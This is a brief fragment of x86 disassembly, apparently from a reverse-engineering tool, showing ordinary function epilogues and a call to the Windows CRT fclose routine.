je 0x1000421f
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret